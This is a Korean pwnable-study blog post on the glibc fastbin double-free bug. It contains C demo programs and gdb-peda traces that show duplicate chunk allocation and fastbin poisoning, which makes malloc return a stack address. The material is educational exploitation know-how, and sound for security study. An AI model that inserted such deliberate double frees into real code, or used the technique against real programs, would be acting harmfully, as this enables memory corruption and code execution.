Double Free Bug는 메모리를 중복으로 해제할 경우 할당자는 해당 chunk들을 중복으로 할당받을 수 있다는 것을 이용한 기법이다.
- libc < libc 2.26
- 동적할당된 메모리를 해제하면 fastbin에 저장되게 되는데 이를 이용해 Dobuble Free Bug 기법을 사용할 수 있다.
- libc 2.26 <= libc < libc 2.29
- 동적할당된 메모리를 해제하면 libc 2.26 전 버전과 달리 fastbin이 아닌 tcache에 저장되게 되는데 이를 이용해 Double Free Bug 기법을 사용할 수 있다.
- libc >= libc 2.29
- libc 2.29 버전부터 tcache에서 발생하는 Double Free Bug를 패치했기 때문에 이를 우회하지 않으면 사용할 수 없다.
다음 내용부터 fastbin에서 발생하는 Dobule Free Bug를 토대로 설명을 하겠다.
Example
다음 코드는 malloc() 함수를 이용해 크기가 112byte인 메모리 할당을 3번 요청한다.
- 이 코드는 free() 함수를 이용해 buf1, buf2, buf1 해제를 순서대로 요청한다.
- 그리고 다시 크기가 112byte인 메모리 할당을 3번한다.
#include <stdio.h>
#include <stdlib.h>
int main()
{
int *buf1 = malloc(112);
int *buf2 = malloc(112);
int *buf3 = malloc(112);
free(buf1);
free(buf2);
free(buf1);
int *buf4 = malloc(112);
int *buf5 = malloc(112);
int *buf6 = malloc(112);
}
0x4005b7에서 fastbin에 배치된 메모리가 또 배치되는 것을 확인할 수 있다.
- 여기서 0x4005c6, 0x4005d4, 0x4005e2는 malloc()에서 반환된 pointer이다.
lazenca0x0@ubuntu:~/Book/2.fast_dup$ gcc -o fast_dup fast_dup.c
lazenca0x0@ubuntu:~/Book/2.fast_dup$ gdb -q ./fast_dup
Reading symbols from ./fast_dup...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x0000000000400566 <+0>: push rbp
0x0000000000400567 <+1>: mov rbp,rsp
0x000000000040056a <+4>: sub rsp,0x30
0x000000000040056e <+8>: mov edi,0x70
0x0000000000400573 <+13>: call 0x400450 <malloc@plt>
0x0000000000400578 <+18>: mov QWORD PTR [rbp-0x30],rax
0x000000000040057c <+22>: mov edi,0x70
0x0000000000400581 <+27>: call 0x400450 <malloc@plt>
0x0000000000400586 <+32>: mov QWORD PTR [rbp-0x28],rax
0x000000000040058a <+36>: mov edi,0x70
0x000000000040058f <+41>: call 0x400450 <malloc@plt>
0x0000000000400594 <+46>: mov QWORD PTR [rbp-0x20],rax
0x0000000000400598 <+50>: mov rax,QWORD PTR [rbp-0x30]
0x000000000040059c <+54>: mov rdi,rax
0x000000000040059f <+57>: call 0x400430 <free@plt>
0x00000000004005a4 <+62>: mov rax,QWORD PTR [rbp-0x28]
0x00000000004005a8 <+66>: mov rdi,rax
0x00000000004005ab <+69>: call 0x400430 <free@plt>
0x00000000004005b0 <+74>: mov rax,QWORD PTR [rbp-0x30]
0x00000000004005b4 <+78>: mov rdi,rax
0x00000000004005b7 <+81>: call 0x400430 <free@plt>
0x00000000004005bc <+86>: mov edi,0x70
0x00000000004005c1 <+91>: call 0x400450 <malloc@plt>
0x00000000004005c6 <+96>: mov QWORD PTR [rbp-0x18],rax
0x00000000004005ca <+100>: mov edi,0x70
0x00000000004005cf <+105>: call 0x400450 <malloc@plt>
0x00000000004005d4 <+110>: mov QWORD PTR [rbp-0x10],rax
0x00000000004005d8 <+114>: mov edi,0x70
0x00000000004005dd <+119>: call 0x400450 <malloc@plt>
0x00000000004005e2 <+124>: mov QWORD PTR [rbp-0x8],rax
0x00000000004005e6 <+128>: mov eax,0x0
0x00000000004005eb <+133>: leave
0x00000000004005ec <+134>: ret
End of assembler dump.
gdb-peda$ b *0x00000000004005b7
Breakpoint 1 at 0x4005b7
gdb-peda$ b *0x00000000004005c6
Breakpoint 2 at 0x4005c6
gdb-peda$ b *0x4005d4
Breakpoint 3 at 0x4005d4
gdb-peda$ b *0x00000000004005e2
Breakpoint 4 at 0x4005e2
gdb-peda$
gdb-peda$ c
Continuing.
Breakpoint 2, 0x00000000004005c6 in main ()
gdb-peda$ i r rax
rax 0x602010 0x602010
gdb-peda$ p main_arena.fastbinsY[6]
$3 = (mfastbinptr) 0x602080
gdb-peda$ c
Continuing.
Breakpoint 3, 0x00000000004005d4 in main ()
gdb-peda$ p main_arena.fastbinsY[6]
$5 = (mfastbinptr) 0x602000
gdb-peda$ i r rax
rax 0x602090 0x602090
gdb-peda$
Breakpoint 4, 0x00000000004005e2 in main ()
gdb-peda$ i r rax
rax 0x602010 0x602010
gdb-peda$ p main_arena.fastbinsY[6]
$4 = (mfastbinptr) 0x602080
gdb-peda$
이러한 취약점을 이용하면 서로 다른 변수에 똑같은 메모리 주소를 할당받아서 예상치 못한 동작을 할 수 있게 된다.
Double Free Bug in Stack
Double Free Bug를 이용해 Stack 영역에 메모리를 할당받을 수 있다.
- 다 코드는 free()를 통해 buf1, buf2의 해제를 요청하고, buf1 해제를 다시 요청한다.
- 이로 인해 fastbin의 list에는 동일한 메모리의 pointer가 배치된다.
- 112를 인수로 malloc() 함수를 2번 호출하여 메모리를 할당 받는다.
- buf4에 저장된 포인터는 buf1에 저장된 pointer와 같다.
- buf4은 buf1과 같은 메모리이며, buf1은 fastbin에 배치되어 있다.
- buf4를 이용해 fastbin의 정보를 변경할 수 있다.
- Fastbin에 가짜 chunk를 배치하기 위해 stack_var[0], [1]에 가짜 chunk 정보를 입력한다.
- 그리고 stack_var의 주소에서 8을 뺀 값을 "*buf4"에 저장한다.
- 112를 인자로 mallco() 함수를 2번 호출한다.
- 첫번째 요청에서는 heap의 pointer가 반환되고, 두 번째 요청에서는 stack의 pointer가 반환된다.
#include <stdio.h>
#include <stdlib.h>
int main()
{
unsigned long long stack_var[2];
printf("Stack_var : %p\n",&stack_var);
char *buf1 = malloc(112);
char *buf2 = malloc(112);
char *buf3 = malloc(112);
free(buf1);
free(buf2);
free(buf1);
unsigned long long *buf4 = malloc(112);
char *buf5 = malloc(112);
stack_var[0] = 0x80;
stack_var[1] = 0;
*buf4 = (unsigned long long)(((char*)&stack_var) - 8);
char *buf6 = malloc(112);
char *buf7 = malloc(112);
read(STDIN_FILENO,buf7,100);
}
Double Free Bug로 인해 fastbin이 "0x602000 -> 0x602080 -> 0x602000"이 되었다.
gdb-peda$ r
Starting program: /home/lazenca0x0/Book/3.fastbin_dup_into_stack/fast_dup_into_stack
Stack_var : 0x7fffffffe3f0
Breakpoint 1, 0x0000000000400728 in main ()
gdb-peda$ p main_arena.fastbinsY[6]
$1 = (mfastbinptr) 0x602000
gdb-peda$ x/4gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000081
0x602010: 0x0000000000602080 0x0000000000000000
gdb-peda$ x/4gx 0x0000000000602080
0x602080: 0x0000000000000000 0x0000000000000081
0x602090: 0x0000000000602000 0x0000000000000000
gdb-peda$ x/4gx 0x0000000000602000
0x602000: 0x0000000000000000 0x0000000000000081
0x602010: 0x0000000000602080 0x0000000000000000
gdb-peda$ c
Continuing.
이러한 상태에서 위에서 말했던 방법대로 Exploit을 진행하면 malloc() 함수를 통해 Stack 영역에 메모리를 할당할 수 있다.
참고 사이트
fastbin_dup[Korean] - TechNote - Lazenca.0x0
Excuse the ads! We need some help to keep our site up. List Fastbin duplicate "Fastbin duplicate"는 fastbin에 배치된 리스트를 악용한 공격입니다.애플리케이션이 fastbin에 포함되는 메모리들을 중복으로 해제를 요청할
www.lazenca.net
fastbin_dup_into_stack[Korean] - TechNote - Lazenca.0x0
Excuse the ads! We need some help to keep our site up. List Fastbin dup into stack "Fastbin dup into stack"은 "Fastbin dup"을 활용하여 malloc()으로 부터 Stack 메모리를 반환 받을수 있습니다.기본적인 원리는 "Fastbin dup"와 같
www.lazenca.net
'hacking > pwnable' 카테고리의 다른 글
Return to csu (1) | 2023.05.28 |
---|---|
UAF(Use-After-Free) (0) | 2023.05.28 |
Frame Pointer Overwrite(One-byte Overflow) (0) | 2023.05.28 |
Frame faking(Fake ebp) (0) | 2023.05.28 |
One-gadgets (0) | 2023.05.27 |